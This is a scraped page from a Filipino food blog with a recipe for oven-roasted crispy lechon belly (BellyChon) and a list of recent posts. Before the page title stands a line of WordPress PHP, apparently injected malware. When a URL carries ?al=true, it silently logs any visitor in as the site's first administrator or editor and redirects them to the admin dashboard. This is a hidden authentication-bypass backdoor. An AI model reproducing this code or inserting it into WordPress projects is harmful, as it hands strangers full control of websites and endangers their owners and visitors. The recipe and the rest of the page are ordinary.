// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Crispy BellyChon Recipe (LECHON BELLY) - Usapang Foodtrip
Pork

Crispy BellyChon Recipe (LECHON BELLY)

How to Crispy Lechon Belly or BellyCon by Pareng Butoy

https://www.facebook.com/parengbutoyy/

Usapang LECHON BELLY tayo mga ka-foodtrip! Today, pinaunlakan nanaman tayo ng ating KusiNegro na si Pareng Butoy. Tuturuan nya tayo kung paano magluto ng the best CRISPY LECHON BELLY or BELLYCHON!

This Crispy Lechon Belly Recipe is for those who have a conventional oven. Don’t worry, I will still develop a version that makes use of the traditional grilling method. For now, let’s get that oven heated so that we can start!

Print

Lechon Belly (BellyChon) Recipe by Pareng Butoy

Bellychon for me is the Pinoy version of the Porcetta, it is also the modern version of the traditional lechon where instead of a whole pig is roasted only its belly is used on this dish, with this method its now easy to make your own lechon at home all you need is an oven and patience
Course Main Course, Pork
Cuisine Filipino
Keyword BellyChon, Cebu, Crispy, Lechon Belly, Pork
Prep Time 20 minutes
Cook Time 3 hours 30 minutes

Ingredients

  • 6 Lbs WHOLE BONELESS PORK BELLY
  • 1 Large Bunch Lemongrass Pounded
  • 1 Large Bunch Scallion

Rub ingredients

  • 1  tbsp Salt
  • 1 1/2 tbsp Garlic Powder
  • 1 tsp Ground Black Pepper
  • Toyo (soy sauce)

Steaming ingredients

  • 1 Medium Red Onion Wedge
  • 1 pint Water

Instructions

  • Combine rub ingredients in a bowl. Mix well. Rub all over the pork belly.
  • Arrange scallions and pounded lemongrass in the middle of the slab. Roll. Use a kitchen twine to secure the rolled pork belly. Set aside.
  • Preheat oven to 400FAdd wedged onion into the roaster. Pour 1 pint water.
  • Arrange rolled pork belly over the roasting pan.
  • Bake for 2 hours. Increase the heat to 475F. Roast for 1 1/2 hours.
  • Remove from the oven. Let the meat cool down.
  • Slice into serving pieces.
  • Serve. Share. Enjoy!
  • Hinay-hinay lang sa pagkain 🙂

More Recipe here!

Menkent M. Buhain

Leave a Comment
Share
Published by
Menkent M. Buhain
Tags: BellyChonLechon BellyPork
5 years ago

Recent Posts

Top 5 Must-Try Binondo Food Crawl 2025 Guide

A Flavorful Journey Through Binondo: The World's Oldest Chinatown Stepping into Binondo feels like entering…

1 year ago

Graham Bars Craze: The No-Bake Treat Captivating Everyone!

Photo by: Pinoy Style Recipe Graham Bars Craze are a fun and portable version of…

2 years ago

Street Food Sentation Diwata Pares, Arestado

MAYNILA -- Arestado ang food sensation na si Diwata Pares o Deo Balbuena sa totoong…

2 years ago

The Ultimate Guide to Building a Profitable Food Business in the Philippines (2024 Edition)

Introduction Welcome to "The Ultimate Guide to Building a Profitable Food Business in the Philippines…

2 years ago

Cooking up Tradition: The Best Chicken Adobo Recipe

Adobo is a popular dish in Filipino cuisine that has gained recognition worldwide. It is…

3 years ago

Top 12 Filipino Food to Eat During Holy Week: A Guide to Traditions and Customs

In the Philippines, Holy Week is one of the most significant religious observances of the…

3 years ago

This website uses cookies.